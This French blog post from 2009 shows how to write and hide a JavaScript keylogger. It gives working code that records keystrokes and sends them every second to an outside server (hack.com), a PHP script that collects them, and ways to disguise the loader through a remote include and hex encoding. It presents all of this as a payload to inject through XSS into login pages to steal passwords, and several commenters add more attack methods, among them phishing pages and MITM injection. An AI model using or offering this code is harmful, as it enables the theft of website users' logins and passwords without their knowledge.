Un keylogger en Javascript


Keylogger
Un keylogger est un petit programme malicieux qui enregistre, dans un fichier, tout ce qui est saisi au clavier par un utilisateur. Une personne malveillante peut ensuite y retrouver les divers logins et mots de passe de votre ordinateur. Cet article explique comment mettre en place un keylogger écrit en JavaScript.

L'intérêt de l'utilisation du langage JavaScript ici est multiple. Ainsi, si l'on découvre une faille de sécurité dans un site internet (faille XSS ou autres), il sera assez facile d'y injecter le bout de code sur une page de login par exemple.

Un keylogger en Javascript

Un hacker pourra ainsi collecter l'ensemble des logins/passwords des utilisateurs à leur insu. Des cas de ce type ont déjà été découverts pour des sites comme Facebook.

Un keylogger en Javascript

Voici un exemple de keylogger écrit en JavaScript :

<script language="javascript">
var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);
</script>

Ici, le programme enregistre tout ce qui est saisi au clavier (fonction onkeypress) dans une variable temporaire appelée key. A côté de cela, la fonction setInterval attend une seconde avant de transférer les données vers un serveur distant.

Sur le serveur distant, on trouvera un script similaire à celui-ci, qui aura pour fonction la réception des données envoyées par le keylogger :

<?php
if(!empty($_GET['c'])) {
  $f=fopen("log.txt","a+");
  fwrite($f,$_GET['c']);
  fclose($f);
}
?>

Dissimulation du keylogger

Le meilleur moyen pour dissimuler le code JavaScript malveillant consistera, dans un premier temps, à appeler un fichier distant :

<script language="javascript" src="http://hack.com/javascript.js"></script>

On pourra aller encore plus loin avec une conversion ASCII vers Hexadécimale du code JavaScript :

<script language='javascript'>document.write(unescape('3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%6a%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%63%6f%6d%2f%6a%61%76%61%73%63%72%69%70%74%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e'))</script>


16 Commentaires pour "Un keylogger en Javascript"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Tu peux également encoder ton script en base64 et le coller directement dans le HTML ;)

    Chibani , le 1 décembre 2009 à 09:13
  •  

    Super comme astuce! maintenant tout les petits merdeux de 15ans vont pouvoir foutre ca sur leur page perso :)

    bourvill , le 1 décembre 2009 à 09:24
  •  

    oui mais bon sa sert a rien...
    sa enverra les touches pressés en ayant le site ouvert à l'écran...
    c'est pas un programme qui tourne en arrière plan..

    namezero , le 1 décembre 2009 à 10:11
  •  

    je trouve ça avant fort et je n'y avais pas pensé.
    C'est pas le problème des gens qui le mettent sur leur site, mais, comme indiqué, plutôt de ceux qui l'injecte via une faille XSS. Si il est injecté et que quelqu'un rentre son loggin/pass sur la page, le méchant connaitra le loggin/pass!

    einboubou , le 1 décembre 2009 à 10:40
  •  

    Ca mériterait un fichier par IP ou par je sais pas quoi... Car là avec des connexions concurrentes, le fichier txt va vite devenir un bordel qui n'aura servi à rien :p

    Bastien , le 1 décembre 2009 à 11:10
  •  

    @bourvill : à condition que le morveux en question trouve une faille XSS et sache l'exploiter correctement. C'est pas donné à tout le monde ...

    @Bastien : j'ai pas poussé le concept jusqu'au bout. Mais effectivement, si une url avec une faille XSS est envoyée à beaucoup de monde, le fichier collectera beaucoup trop de caractères. Le mieux est peut-être la personnalisation du script JavaScript pour chaque victime, afin de séparer les fichiers de logs.

    pti-seb , le 1 décembre 2009 à 12:50
  •  

    Salut

    Ce genre de script est assez utilisé pour des trucs un peut moins pernicieux, comme les sésames. Quand j'étais plus jeune, une script de keylogging scrutait les combinaisons de touches, si une séquence était détectée, alors celui qui l'avait tappée entrait sur une page spéciale - et cachée -

    Enfin, ca a le mérite de faire une petite note underground pour ameuter les curieux !

    plusplus

    Tixlegeek , le 1 décembre 2009 à 13:23
  •  

    L'astuce est déjà connue, mais il est toujours bon d'informer les utilisateurs ! Et @bourvill faut juste pas perdre son temps sur le site de "petits merdeux de 15ans". Enfin souvant on rigole bien à voir le super site des jailbreakers de "Polly Pocket" en culotte courte ;)

    rdesbonnet , le 1 décembre 2009 à 20:28
  •  

    Il est possible d'avoir ce système en mode persistant : XSS Shell. Du moins tant qu'on continue de naviguer
    Ce système va même jusqu'à créer un proxy pour surfer de son poste avec les droits de la victime.
    Quand à trouver des failles XSS, pas besoin de s'embêter puisqu'on nous les sert sur un plateau sur le site XSSed ;-)

    Benoît , le 2 décembre 2009 à 11:44
  •  

    On pourrait aussi noter que ce code peut être exploité sans injection avec une page piégée (moins intéressant bien sur). Il suffit d'utiliser sa propre page Web (de petit morveux qui se respecte), d'implémenter le code javascript avec en plus ce petit bout de php tout bête qui récupère le code source d'une page web victime : echo file_get_contents(url). On affiche donc une page web choisie chez la victime et qui sera "écoutée" chez le hacker.
    (maquillage et diffusion de l'url-piégée oblige). Solution maintes fois exploitée.

    zeojex , le 3 décembre 2009 à 16:54
  •  

    Faut il que la fenetre web soit active ou juste affichée pour que le keylogger fonctionne ?

    Tuxicoman , le 6 janvier 2010 à 23:33
  •  

    @Tuxicoman : pour que javascript fonctionne, je pense qu'il faut qu'elle soit active. Ce serait trop facile sinon, cela permettrait de loger tous ce qui est saisie en dehors du navigateur.

    pti-seb , le 6 janvier 2010 à 23:47
  •  

    @zeojex :
    lol qui ne sait pas sa ^^

    xulandrix , le 30 janvier 2010 à 20:55
  •  

    merci amis Pour le Code , Permet moi de poser un question est ce qu'il est possible
    de faire un Keylogger Qui enregister tous les keys Pressez Lorsque la page s'execute

    Luchador , le 31 mai 2010 à 15:11
  •  

    @xulandrix : Des ptits morveux :)

    zeojex , le 31 mai 2010 à 16:31
  •  

    t'injectes ça pendant un MITM, c'est propre aussi :v

    hilko , le 23 juin 2015 à 19:20

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum